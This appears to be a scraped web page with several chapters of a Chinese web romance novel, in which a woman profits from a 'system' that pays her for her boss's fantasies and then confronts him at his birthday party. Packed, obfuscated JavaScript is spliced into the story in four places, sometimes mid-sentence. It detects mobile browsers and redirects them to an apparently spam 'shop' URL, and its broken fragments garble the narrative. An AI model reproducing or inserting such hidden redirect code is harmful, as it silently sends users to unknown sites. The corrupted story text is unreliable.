他下意识松了口气,随即被这股荒谬的庆幸狠狠刺痛。 ——他在干什么? ——因为一个未经证实的假设,深更半夜在镜子前,可悲地评估自己是否还够格? 一股无名的烦躁涌上心头。 他关掉灯,背靠冰冷的洗手台。 浴室陷入昏暗,唯有记忆不受控地翻涌。 想起一个月前她刚搬到对面第一天,就找自己借浴室洗澡。 虽然几乎不可能,但他似乎在空气里闻到了极淡的、属于她的气息,某种清冽的沐浴露香味。 某个被他反复咀嚼的瞬间,她曾站在这里,水汽氤氲,发梢湿漉漉地贴在细腻的颈侧,皮肤被热气蒸出淡淡的粉色,水珠沿着锁骨的凹陷缓缓下滑。 画面骤然清晰,且失控地延展。 他仿佛看见她转过脸,雾气蒙着她的眼睛,看不清情绪,只有嘴唇微微张开,呼出一小团潮湿温热的白气。 水声淅沥,她抬起手臂,水珠顺着光滑的小臂滚落,指尖无意识地划过瓷砖墙面,留下断续的水痕。 这不再是被动的属于她的幻想,这是他自己的大脑,擅自描绘的,未经许可的图景。 他猛地闭眼,呼吸骤然收紧,喉结不受控制地上下滚动。 身体比意识更快地给出了反应,一阵滚烫的电流顺着脊椎窜起,直冲大脑,血液奔涌的声音在耳膜里鼓噪。 他几乎是本能地、试图向系统寻求那个安全的出口,像过去十年里无数次那样,潜入她的幻想,在那片被许可的疆域里,贪婪地汲取一点虚幻的温存。 【警告:神游次数已达上限。】 冰冷的系统提示音,无情地斩断了他的退路。 程迦睁开眼,瞳孔在黑暗中微微放大,眼底还残留着方才臆想出的水光与雾气。 ——上限。 ——是了。 ——系统……即将到期。 那个他赖以呼吸的安全区,正在坍塌。 可此刻在他脑海里翻腾的、让他呼吸急促、血液逆流、指尖都微微发麻的画面,这是他自己的欲望,第一次挣脱了所有束缚,赤裸裸地、凶猛地扑向关于她的想象。 是他记住了她站在这里的姿态,并擅自为她添上了迷蒙的眼神。 是他刻下了她说话时尾音微扬的弧度,并幻想那弧度贴近自己耳畔时会如何颤动。 是他捕捉到了她无意识靠近时空气中那一丝若有若无的战栗,并渴望将那战栗亲手点燃。 没有她的许可,没有价值结算,没有任何被需要的凭证。 只有他,在这个万籁俱寂的深夜,背靠着冰冷的瓷砖,任凭自己构建的幻象将他吞没。 他浑身一僵,随即是更深的颤栗。 随之而来的并非愉悦,而是一种混合了恐惧罪恶与巨大兴奋的复杂情绪。 像是被囚禁了十年的洪水,终于在堤坝崩塌的前一刻,冲开了第一道裂缝,浑浊而汹涌的暗流,正不受控制地奔涌而出。 他忽然明白了。 如果她真的只想要“走leetcode”。 如果她真的不需要“程迦”。 都已经不重要了。 因为从这一刻起,主导权已经悄然易位。 不再是她在幻想他。 而是他,再也无法继续伪装,那份深埋心底、汹涌澎湃的渴望,不再局限于被动的回应。 是他,在主动地、不可抑制地,幻想她。 * 程迦是在凌晨四点多才勉强睡着的。 那算不上真正的睡眠,意识被耗尽后、强行沉入一片混沌的深潭。 身体残留着未散的疲惫和隐秘的潮热,梦境破碎成无法拼凑的残片。 只有断续的水声,缭绕的白雾,以及一道始终背对着他、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262549|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮廓朦胧的影子。 八点整。 手机震动,突兀得像一根冰冷的刺痛,猝然扎进他尚未苏醒的神经末梢。 程迦皱着眉,眼皮沉重得抬不起来,只凭本能摸索到手机,贴到耳边。 “……喂。”声音嘶哑干涩,带着浓重的睡意。 电话那头是个女声,语调自然轻快,甚至透着一股熟稔的随意:“程迦?你醒了吗?” 大脑还在开机缓冲,只捕捉到几个模糊的标签:女人,有点熟悉,有口音,好困,太早了,想睡觉。 “嗯。”他含糊地应了一声,纯粹是条件反射。 对方似乎在说什么生日、叔叔阿姨、给他准备了东西。 但那些词句像隔着一层厚重的水幕传来,模糊不清,无法在困顿的意识里形成连贯的意义。 他维持着最低限度的社交本能,像个自动应答机。 “嗯。” “好。” “知道了。” “随便。” “挂了。” 通话结束。 屏幕暗下。 他将手机随手扔到一旁,身体重新陷回床铺,意识像断线的风筝,再次向黑暗深处飘去。 直到—— 门铃声响起。 不是试探性的短促一响,而是持续、清晰、带着某种不容忽视的宣告意味的反复按铃。 叮咚—— 叮咚—— 叮咚—— 程迦猛地睁开眼。 瞳孔在瞬间收缩,适应着卧室的光线,门铃声像一道滚烫的电流,将他从残存的混沌中彻底击醒。 大脑在零点几秒内完成高速切换:从梦境到现实,从疲惫到警觉。 ——有客人。 ——在门外。 他撑坐起来,太阳穴突突地跳。刚穿上拖鞋,第四声门铃已经急促地追了上来,比前三次更不耐烦。 紧接着,一道清晰的女声穿透门板,带着理所当然的催促,直接撞入他的耳膜。 “程迦?” “开门啊!” 这一声,像一盆冰水,将他从头到脚浇了个透心凉。 ——苏清妍! 这个名字带着特定的记忆和麻烦属性,瞬间在他脑海里炸开。 ——她怎么会突然出现在这里? ——而且,这个时间??? 他的视线几乎是下意识地、惊恐地投向卧室墙后面大门的方向,仿佛能穿透墙壁,看到对面那扇门后的身影。 ——万一…… ——万一她碰到许知微怎么办? ——以苏清妍那过目不忘、堪比人脸数据库的记忆力,但凡让她看见许知微的脸,哪怕只是一眼…… 程迦的心脏骤然收紧,一股混杂着心虚、慌乱和强烈抗拒的情绪,像冰冷的藤蔓缠绕上来。 他几乎能想象出那个画面:两个女人在走廊里擦肩而过,苏清妍探究的目光,许知微或许会投来的、平静的一瞥却足以让他曾经卑鄙的谎言无所遁形。 ——不行! ——绝对不行! 这个念头带着本能的慌乱,让他呼吸一滞。他掀开被子,几乎是踉跄着冲向门口,动作快得带倒了床边的椅子也浑然不觉。 ——必须在她惊动许知微前,拦住她! 36. 惊喜 许知微几乎一整夜没合眼。 一种持续的亢奋感,像低电压电流般贴着后脑勺滋滋作响,让她无法沉入睡眠。 系统提示音在凌晨后变得异常密集,一声接一声,冷静得不带一丝波澜。 【幻想输入确认。】 【来源:程迦。】 最初是荒谬的怀疑。 ——系统出错了? ——还是自己终于在系统快到期的倒数第二天被压力逼出了幻觉? 直到冰冷的数字反复叠加,她才不得不确信。 程迦,真的对她产生了幻想。 然后一整夜,她坐在床上,背脊僵硬地抵着床头,眼睁睁看着虚空里不断刷新的结算信息。 七次。 整整七次。 间隔短促得像某种不受控制的生理反应。 最终汇总弹出来时,她甚至没先去确认金额。 目光死死锁定的,是那个次数。 ——原来小说里的一夜七次郎真的存在??? 【幻想次数:7】 【累计结算:¥1,242,424】 主控的声音汇报着最后的数值。 一百二十多万。 仅仅因为一个晚上,因为程迦对她的幻想,她赚了这六年来所有的钱? 喉咙莫名发紧,她下意识舔了舔嘴唇,才发觉唇瓣干得有些刺痛。 早知道程迦的幻想这么值钱,精力还这么旺盛,她还哼哧哼哧做什么牛马,直接开局就放大招勾引得了。 很快,另一个现实的考量浇了下来,许知微开口问道。 “……这钱什么时候到账?怎么到账?”声音带着一丝不易察觉的颤抖,“我会不会因此被查?被怀疑洗钱?” 这还是她第一次一次性拿到这么大一笔巨款,没经验。 【我们会通过合法合规、匹配您个人收入流水的渠道,完成结算。】 【具体形式,以实际到账为准。】 解释很官方,却未能完全安抚她。 兴奋像膨胀的气球,被紧张和隐约的不安从内部拉扯着。 ——行,等着,一百多万呢。 ——不知道扣不扣税? ——扣完税还剩多少? ——是不是可以开始看房子了? 巨大的金钱惊喜让她头脑发涨,她开始逐条逐条看每一次程迦幻想所带来的幻想值,思索着自己还能不能再多拿点,。 很快,另一个疑问冒了出来:“怎么一次比一次少?难道……这还跟体力挂钩?” 主控的声音依旧没有情绪,但她莫名听出一丝被无语到的凝滞。 【幻想值随幻想次数递减,属于正常衰减机制。】 “所以……他越幻想我,幻想就越不值钱?”这次她问得快了许多,那点先前还残存的微弱的道德不安,被不断累积的金额悄无声息地稀释了,语气里甚至带上了一丝轻快的调侃,“倒也合理,物以稀为贵嘛。” “就是可惜,不能无限薅。” 【不会无限下降。】 【当幻想进入稳定模式,单价将趋于平缓。】 “……稳定模式?” 【可理解为:习惯性幻想。】 习惯性三个字,让许知微此时丰富的多重情绪里又增加了一层害羞。 习惯性。 这意味着,在未来,程迦可能会不自觉地、反复地幻想着她。 这个认知让残存的理智与某种微妙的良知,再次挣扎着上线。 她开始回溯。 过去那些时日,她并非没有给过暗示。 电梯里暧昧的话语,深夜试探性的接近,那些几乎贴着安全线滑过的举动,她以为自己已经铺垫得足够明显。 可他一次都没有幻想过她。 而现在,一个晚上,七次。 如同压抑到极致的堤坝,在某个未知的临界点轰然溃决。 ——就因为那个他喜欢了十三年的人出现了,所以他被激发了欲望? ——可为什么,对象会是自己? ——难道……那个人就是她自己? ——怎么可能? ——绝对不可能。 ——十三年前,自己在徐外中念高中,他在大洋彼岸,怎么会有交集? ——或者,自己还真是个替身? ——用替身来填补对正主求而不得的空白? ——可还是说不通。 ——如果自己是替身,为什么之前漫长的岁月里,他一次都没有幻想过她? ——为什么偏偏是现在? 逻辑在这里打了个死结。 她陷在矛盾的思绪里,直到主控的声音再次响起,带着一丝嘲讽的直白: 【所以说,在绝对的金钱面前,你之前那点别扭的道德病,也痊愈了。】 “痊愈了,彻底痊愈了。”许知微几乎是立刻接话,语气里带着一种破罐破摔的、近乎谄媚的笑意,“早知道一晚上就能赚一百多万,我这病早就该好了。” “管他是什么纯爱战神呢。那是他的纯爱,跟我这个打工牛马有什么关系。我拼命呵护个什么劲?” 话虽如此,一种复杂的情绪仍在心底盘旋。 她扯了扯嘴角,带着点自嘲想:“不过真没看出来,程迦……欲望这么强?真是一年不开张,开张吃一年。” “对了,”她眼睛忽然亮了一下,带着资本家看到流水线般的精明,“我的系统今天什么时候到期?要不……我一会儿再去启发启发他?看看能不能再榨点出来?” 这个念头刚成形,就被主控打断。 【没有耕坏的地,只有累死的牛。】 许知微已经顺手打开了电脑,开始浏览房产页面,闻言理直气壮:“他把我当牛马使唤这么多年,我说什么了么?” “就让他今天再努力一次怎么了?”语气轻快,像在讨论一笔稳赚不赔的买卖,“我已经亏了六年了,还不让我最后一天努力一把?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268639|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【程迦今天生日。】 主控的提醒,像落进她有些发热的思绪里。 ——对哦。 许知微放在触控板上的手指,微微一顿。 窗外的天色,已在不知不觉中泛起了鱼肚白。 洗漱,换衣,点开外卖软件。手机屏幕的光映着她的脸。 上午九点多。 ——今天,是程迦三十岁的生日。 这个日期,和那一百多万的幻想值叠加在一起,在脑海里变得异常别扭,甚至有些刺目。 她低头,看着外卖软件的界面,指尖无意识地下滑。 鬼使神差地,点进了附近蛋糕店。 琳琅满目的图片跳了出来:绵密的奶油,鲜艳的水果,精致的翻糖造型,简约的,奢华的,应有尽有。 她盯着屏幕看了一会儿。 一个有些突兀同时又被她用理性层层包裹的念头,悄然浮现:她靠他赚了一百多万。 虽然不是她刻意引诱,也不是她破坏了他那份纯爱换来的,是他主动给的。 但,人总归要懂得感恩。 那么,在他三十岁生日这天。 送个蛋糕,作为感谢。 很合理吧? ——对,这不是暧昧。 ——不是讨好。 ——更不是示好。 ——这是结算。 ——是礼貌。 ——是成年人之间的你来我往。 这个逻辑让她瞬间安心,甚至感到一丝从容。 她立即下单,选了一款极其克制的蛋糕:造型利落,颜色干净,没有任何花哨的装饰。 就像程迦给人的感觉。 中午,她拎着蛋糕站在公寓走廊里。 中央空调的冷气很足,蛋糕盒外壁凝了一层薄薄的水珠。 站在他家门前,按下门铃的前一秒,她甚至在心里默念了一遍准备好的说辞: ——“生日快乐。” ——“没想到吧,我知道你生日。” ——“一个人过生日多没意思,蛋糕一起分了吧?” ——“老下属总归要讨好领导吧?” 一切都在计划之中,清晰得体,无懈可击。 门铃响起。 几秒钟后,门被拉开。 她准备好的笑容和台词,还未来得及展现,却发现,站在门内的,不是程迦。 是一个女人。 她穿着剪裁精良的连衣裙,妆容得体,姿态放松,却自带一种不容忽视的浸润在优渥环境里的气场。 她的目光落在许知微脸上,带着一丝细微评估般的打量,眉头几不可察地蹙了一下,仿佛在看一个突然闯入的陌生符号。 空气,在这一刻骤然凝固,安静得只剩下中央空调低沉的嗡鸣。 许知微的大脑,空白了两个呼吸。 脑海里只剩下一个念头,缓慢而冰冷地浮出水面—— 她,好像来得,非常不是时候。 37. 曾经的谎言 程迦是在一阵嘈杂的人声里,后知后觉地意识到自己家已经不属于自己了。 客厅的灯全亮着,音乐开得不小,桌上摆满了他根本没拆过的酒,沙发被人占着,窗边站着人,厨房里也有人在笑着说话。 他认得这些脸,都是在家族宴席上点头寒暄过的熟人,此刻却带着一种侵入他私人领域又理所当然的松弛感。 ——吵死了。 他站在卧室门口,眉心压得很低,胸口闷得发疼。 ——果然,苏清妍就是个麻烦。 此刻,苏清妍站在人群中央。她个子不高,却穿着剪裁利落的连衣裙,妆容干净锋利,端着酒杯与人交谈时下颌微抬,笑容的弧度经过精确计算。 看到他终于从卧室出来,她笑着扬了扬下巴:“终于醒了?寿星。怎么样,有个生日派对的样了吧?” 程迦声音压着不耐:“我没说要办派对。” “但我需要。”苏清妍走近几步,用只有他俩能听到的声音说,“我爸妈,你爸妈,都看着呢。” 她晃了晃酒杯,“我负责把场面做得热闹,你配合走完过场。” “事成后,我拿到酒店的管理权,给你公司注资百万。很公平的交易。” ——又是交易。 ——也是,对于她来说,一下飞机不去找男模,来陪自己这个不熟的朋友过三十岁生日,肯定是有所图。 ——这次生日会,是交换她那家连锁酒店的实权经营权。 程迦自顾自地想着,他清楚,他们这种家庭的父母,都算计得很。 苏清妍父母的算盘从来打得很清楚:儿子继承家产,女儿拿去联姻。所以她小学就被送去美国,程迦高中被送去美国后,跟她在同一所高中。 只是他大学毕业后就回来了,而苏清妍一路读到博士,学的是艺术,名头好听,非常适合做豪门妻子。 所以当今年初,苏家需要程家帮忙,她父母幻想着她能嫁到程家,替苏家解了这个燃眉之急。 不过他也没想到,她竟然真的因此回来了,并且把每一步嫁入程家都谈成清晰的条款:陪过生日、见父母、公开露面。每完成一项,兑换一份家族资源。 所以,今天这场喧闹的生日派对,对她来说,是必须存在,她甚至动用关系,叫来了这些彼此都不算熟稔的富二代,只为把气氛营造到位,把真实性落地,拍出能交差的视频。 作为朋友,他应该支持。可是作为程迦,他只想把这一切连同噪音一起赶出去。 矛盾让他站在原地,手指收紧,最后决定无视所有人再次退回他的卧室,自己待会儿。 可门铃响了。 叮咚。 ——这次又是谁? ——不对啊,苏清妍能叫的人已经到齐了啊。 不祥的预感瞬间攥住心脏。 ——他们声音太大,吵到对门的她了? 他还没来得及动,苏清妍已经转身,高跟鞋敲击地面的节奏干脆利落,走向门口。 ——不行! ——如果敲门的真是许知微…… 恐慌像冰糖藤蔓缠住四肢,他脱口而出:“我来!”声音里的急切让他自己都怔了一下。 苏清妍回头,眉梢微挑,打量了他一眼,还是侧身把门推开。 走廊的光涌进来,照亮了门外那道此刻他最怕见到却又隐秘渴望的身影。 许知微。 她手里拎着一个盒子,脸上平静的表情在看清屋内景象的瞬间,碎裂成一闪而过的诧异。 程迦全身的血液似乎在这一刻倒流,冲得耳膜嗡嗡作响。 ——还真是她! “谁啊?”苏清妍的声音在他身后响起。 ——不好,苏清妍见过那张照片。 高中时放在他床头、被他情急之下指认为女朋友的,许知微的照片。 那时苏清妍无意闯进他房间,指着照片问是谁。他懒得解释,更不想被窥探那点可怜的单相思,更怕那份心思暴露在光天化日下显得可笑,于是脱口而出一个谎言:“我女朋友。” 这个他以为会永远埋葬在过去的谎,如果苏清妍现在认出许知微,如果她用那种了然又戏谑的语气说“原来你就是程迦高中那个小女朋友”。 许知微会怎么看他? 会觉得他是个用谎言意淫她的变态,还是个沉溺于过幻想的可怜虫? 无论哪一种,都足以将他小心翼翼维持的、摇摇欲坠的平衡彻底碾碎。 所以他几乎是本能地堵住门口,用身体试图隔开屋内投来的所有视线。 “你怎么来了?”他问,声音低哑。 许知微显然没料到是这般阵仗,目光快速扫过他身后喧闹的客厅,又落回他写满紧绷的脸上。 “生日。”她言简意赅,将蛋糕盒递过来,“快乐。” 那一瞬间,复杂的情绪海啸般将他淹没,一丝猝不及防的窃喜,随即是被眼前荒唐场景对比放大的狼狈,以及更难以琢磨的恐慌。 “程迦?你干嘛挡住我?是朋友么?是的话,那快请进来一起啊。”苏清妍的声音从身后传来,带着社交场合完美的热情。 ——绝对不行! 苏清妍那双眼睛,连五岁时只带过她一天、后来因为跟她爸乱搞被辞退的保姆,都能在多年后的异国街头一眼认出。 他不能让许知微在她面前多停留哪怕一秒! 这个念头催生出近乎失控的行动,他几乎是下意识地伸手,虚挡在门口,同时侧身,用身体形成一道屏障。 “我们出去说。” 话音未落,他已经轻轻推着许知微的肩膀,将她带离了门口。 许知微明显怔了一下,但还是顺着他的力道退到了安静的走廊里。 门在身后关上,瞬间将屋内的音乐、谈笑和所有令人窒息的目光隔绝,走廊只剩下中央空调低沉的嗡鸣。 程迦站在她面前,喉结剧烈滚动,呼吸乱得不成章法。 他应该解释,解释这混乱的一切,解释屋里那个女人,解释自己刚才近乎粗鲁的举动。 可是从何说起? 难道说“屋里是我父母安排来跟我做交易的女人,她可能认出你是我多年前单方面谎称的女朋友,我怕得要死”? 所有的话都堵在喉咙,灼烧着,却找不到一个可以安全出口的缝隙。 最后,还是许知微先打破了沉默。 她脸上重新挂起那副他熟悉的带着职业距离的微笑,将蛋糕盒再次递向他。 “程总,”她的声音听不出波澜,“我就是作为下属,来送个蛋糕,祝贺你三十而立。无意打扰你的私人聚会,不用太紧张。” 程迦喉咙发紧,他条件反射地反驳。 “不是。” 声音比他预想的更急,甚至带上了一丝不易察觉的恳切,“我不太爱过生日,这些也不算很熟的朋友。” 话一出口,他才后知后觉地觉得难为情。 许知微看了他一眼,然后,她轻轻应了一声:“哦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277781|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 意味不明。 然后她将蛋糕递出,在确认他接手后,转身回屋,正抬手去触碰对门的密码锁时。 程迦身后的门,再次被拉开。 “你咋还没好呢?”苏清妍的声音带着一贯的明快与傲慢。 程迦心头猛地一跳。 而苏清妍已经踩着高跟鞋走到门口,目光先是落在许知微的背影上,随即自然地扫了一眼对门的门牌号,眉梢扬起一道极细微的弧度。 “是邻居啊。”语气是社交场上训练有素的热络,“怎么不邀请进来坐坐?人多热闹,生日嘛,图个开心。” 程迦却觉得后背的凉意瞬间蔓延至全身。 ——不行。 ——绝对不行。 ——趁苏清妍那个麻烦还没想起来。 许知微闻言转过身,正开口:“我还有工——” 话音未落,苏清妍忽然歪了歪头,目光在许知微脸上停留了不到一秒,瞳孔深处闪烁着光,然后,她微笑着,用一种带着友好困惑的语气问道: “这位美女,我们是不是……在哪里见过?” 那一瞬间,程迦只觉得脑子里轰的一声巨响,血液疯狂上涌,冲得耳膜嗡嗡作响,几乎淹没了周遭的一切声音。 ——完了。 这个念头还没成型,身体已经先于理智做出了反应。 “怎么可能!” 声音陡然拔高,突兀而尖利,连他自己都被这失控的音量震得怔住。 走廊里的空气瞬间凝固。 苏清妍明显愣了一下,探究的目光转向他。 程迦已经顾不上维持任何体面,他语速快得近乎抢夺,每一个字都像是在用力堵住即将决堤的缺口: “她一直都在国内!没出过国,你怎么可能见过?” 话是对着苏清妍说的,眼睛却死死盯着地面,仿佛不敢与任何人对视。 每一个音节,都是在封堵过去,掩埋谎言,遮盖那张不该存在的照片,以及所有他不敢暴露于天光之下的晦暗历史。 “她还要——”他几乎是硬生生截断自己的话,语气生硬地转向许知微,“忙工作。别打扰她。” 这句话脱口而出后,他才后知后觉地意识到其中过界的控制意味。 走廊陷入一种诡异的沉寂。 苏清妍看着他,眼神第一次褪去了漫不经心的社交面具,染上了一层清晰的审视与玩味。 她没有反驳,只是轻轻“哦”了一声,尾音拖长,像在重新校准对他的认知。 ——还好,苏清妍注意力在自己,而不是她。 可就在这时,程迦听见了一声很轻的笑。 来自许知微。 他下意识地转头看去,她正看着他,眼眸在走廊顶灯的映照下,亮得惊人,里面翻涌着他读不懂,却让他心悸的情绪。 然后,她语气轻快地开了口:“这么一说……” 她故意顿了顿,像是在认真斟酌,唇角弯起一个清浅的弧度。 “突然觉得,工作好像也没那么着急了呢。” 程迦的心,猛地往无底深渊沉去。 她抬起眼,目光笔直地望进他骤然收缩的瞳孔里,语气轻柔,却字字清晰,不容回避: “程总。” “请问,我可以参加你的生日派对吗?” 那一刻,他几乎能听见自己那根名为理智的弦,崩裂时发出的细微脆响。 ——自己这个三十岁生日,就真的非过不可吗? 38. 勾引 许知微踏进客厅的那一刻,心里就有了自己的判断:程迦或许确实没撒谎。 这确实不像是一场专门为程迦准备的生日派对。虽然灯光、音乐、酒水、恰到好处的笑声,一切元素都很完美,但唯独缺失了最重要的东西:围绕程迦这个寿星的重心。 甚至连她这个不速之客没有如预期那样被冷落,落座不到十分钟,便陆续有人靠近,一个主动递来酒杯,另一个则状似随意地问她是否是新搬来的邻居。 与这些频道落在她身上的目光相比,静静坐在沙发角落那个寿星,反而像个不速之客。 ——所以程迦在他自己的圈子里,也不爱社交。 富二代之间话题跳跃得极快:谁家刚投了什么项目,哪家酒店计划翻新,谁下个月要去加拿大收个酒庄,谁又跟投了某位大佬的风投基金。 话题总在某个拐点自然地滑走,极少真正落回程迦身上。 而真正在无声中掌控着全场节奏的人,是苏清妍。 她甚至不需要刻意表现,不抢话,不张扬,不急于成为焦点,却总能在关键的沉默间隙,用一句轻巧的接话或一个恰到好处的微笑,接住所有游移的视线。 有人试图靠近示好,她那种如同美剧里socialqueen般的热络,让对方颇为仰慕与敬佩。那是一种长期浸润在优渥环境与明确规则中,才能养成的从容与骄傲。 可当有人不经意提起往事,说苏清妍跟程迦当年在美国是同一所高中的校友时,许知微心里慕然一紧。 ——美国,高中。 ——十三年。 脑海里那个一直悬而未决的拼图,发出了清晰的咔哒一声。 ——所以程迦那个喜欢了十三年的人,就是苏清妍? 这个猜想一旦成形,便开始疯狂自我佐证。 ——时间线完美吻合。 ——人物关系合理。 ——阶层高度匹配。 ——她与苏清妍在应对社交时的相似度。 而更关键的是,这能完美解释他刚才在走廊的失控。 如果苏清妍就是那个白月光,那他当然会紧张,当然会害怕。 害怕她与他那个喜欢了十几年的人,猝不及防的照面,害怕精心维持的假象被瞬间戳破,害怕她这个异类扰乱他回归正轨的剧本。 这个推论顺到让她心口微微一沉。一种说不清道不明的酸涩感,悄无声息地漫上来,让人心烦意乱。 ——男人可真会伪装深情。 ——就跟顾呈张口就来的十三年深情一样。 ——看来程迦这所谓的深情,也不过如此。 ——如果他真的如此珍视这段长达十三年的暗恋。 ——那么,在苏清妍回国之后,他最该做的,就是彻底控制住对自己的欲望。 ——而不是变本加厉地在昨夜,爆发出那七次对自己的幻想。 她喝了一口酒,抬眼向人群中心熠熠生光的苏清妍。 ——真美。 ——难怪冷漠克制如程迦也会心动。 ——太受欢迎了,也难怪看不到那个只会躲在角落的程迦。 ——只是,为什么是我? 许知微又喝了一口酒,酒精的作用开始慢慢爬上脸颊,这时手机震动了一下。 是林芮,跟她的日常询问。 【今天有进展吗???】 【他到底有没有表白???】 【你们俩现在到底什么情况???】 许知微盯着屏幕,指尖悬空,醉意有些上头,第一次对外产生抱怨。 【我有点搞不清他。】 【他确实有个喜欢了十三年的高中同学,我今天见到了,刚从美国回来。】 【今天他生日派对,她是核心人物。】 【但他反而很紧张我跟她接触。】 【而且……他最近行为确实很反常。】 【对我,确实有些过分关注。】 她停顿了一下,指尖在屏幕上悬停片刻,又补上最困惑的一句。 【你说,到底是怎样的情况下,他才会做出如此矛盾的行为?】 消息刚发出去,几乎立刻收到了回复。 【啊啊啊啊啊!!!经典的替身文学啊!!!】 【暗恋多年的白月光出国了,他爱而不得,转而把注意力放在跟白月光很像的你的身上!】 【就当他快要彻底爱上你时,白月光突然回国了!!!】 【不想让你们接触,是因为心虚啊!怕穿帮!怕比较!怕自己露馅!】 ——替身文学? 看着屏幕上这四个字和林芮斩钉截铁的推论,许知微一直拧着的思绪,骤然透亮。 ——所以,昨晚那七次幻想,也是在这种心虚与不甘交织下,产生的欲望? ——呵,男人。 她的目光再次掠过沙发角落那个背脊僵硬,与周遭格格不入的程迦,又扫过不远处如鱼得水掌控全场的苏清妍。 一股极其复杂的心绪涌了上来,其中混杂着被当作替身的荒谬与隐隐刺痛,但更汹涌的,是理性评估,以及一丝连她自己都未曾完全察觉的好胜心。 ——本以为他不一样,才手下留情。 ——还好在这系统过期前一天发现了真相。 ——这样的“深情”,毁了便毁了吧。 视线再次落回程迦身上时,已悄然发生了变化。 她慢慢站起身,不着痕迹地调整了一下呼吸,仿佛只是随意舒展。 端着那只还剩一小半的酒杯,一步步穿过浮动的热闹,最终在沙发的另一端落座。 那个位置选得极妙,与程迦之间隔着一个恰到好处的礼貌距离,却又能让她身上极淡的香气,若有似无地拂过他的感知边缘。 这是一个既不会惊扰旁人,又能将彼此圈进一小片独立空间的微妙距离。 周围依旧喧闹,人声与音乐混作模糊的背景音。 她微微侧过脸,视线并非直勾勾地看向他,而是以一种慵懒的角度,轻轻掠向他紧绷的下颌线,再缓缓上移。 然后用一种只有他们两人才能捕捉到的、近乎气声的音量开口,带着一丝仿佛刚睡醒般的微哑,和一种心照不宣的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280435|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试探: “昨晚,睡得还好吗?” 问完,她并不急着等答案。目光仍停留在那个角度,仿佛在欣赏他颈侧因紧张而微微凸起的筋络。 她太清楚了,他不可能睡得好。 ——一个在幻想中将自己占有七次的男人,怎么可能睡得好? 而程迦的反应,比她预想的更为剧烈。他握着酒杯的手指骨节骤然泛白,用力到几乎要捏碎那脆弱的玻璃。喉结不受控制地上下滚动,像在艰难吞咽某种骤然涌上的燥热与窘迫。 沉默在两人之间弥漫了两三秒,他才从紧抿的唇间挤出一个被极力压平的音节: “……还行。” 语气是刻意营造的平稳,却像一张薄纸,轻轻一戳就会破裂。 许知微心里无声地笑了。 ——果然,不堪一击。 她终于收回那若有似无的打量,仿佛真的只是随口一问,转而将目光投向远处喧闹的人群,语气随意:“我昨晚也没睡好。” “……是么。”他的声音更低哑了些,像砂纸摩擦过喉咙。 “嗯。”她轻轻晃动手中的酒杯,琥珀色的液体沿着杯壁留下迟缓的痕迹,光影在她纤细的指尖跳跃,“总觉得,好像被人惦记了一整夜,心神不宁的。” 她顿了顿,仿佛才意识到这个说法有些暧昧,侧过脸,对他展露一个带着点无辜困惑的微笑: “你呢?没睡好,也是因为夜里有什么东西,扰人清梦么?” 程迦的身体在她话音落下的瞬间,僵直得如同被冰封。 他猛地转头看向她,眼神里交织着震惊、慌乱,以及一丝不易察觉的羞涩。 许知微迎着他的目光,没有丝毫闪躲。她的眼神平静,甚至带着一丝恰到好处的柔和,可那眸底深处,却映着毫不掩饰的猫捉老鼠般的玩味。 那是猎物发现自己早已落入网中,而猎手正微笑着欣赏他徒劳挣扎的慌乱与绝望。 一种微妙的掌控感,顺着她的脊椎悄然攀升。 原来,将这样一个习惯于掌控一切、用冰冷外壳包裹自己的程迦,轻轻推到失控的边缘,竟是如此,令人愉悦。 许知微忽然觉得,这场原本跟她无关的派对,开始变得有趣起来。 “程迦。”她忽然唤他,声音不高,却清晰地将周围所有的嘈杂都推远。 不是那个带着职位与距离的程总,而是褪去了所有社会身份的,仅仅代表他个人的名字。 她注意到,他的身体猛地一震,仿佛要从沙发上弹起,却又被他用强大的意志力死死按回原处。只有那骤然收缩的瞳孔,和骤然紊乱的呼吸,泄露了天机。 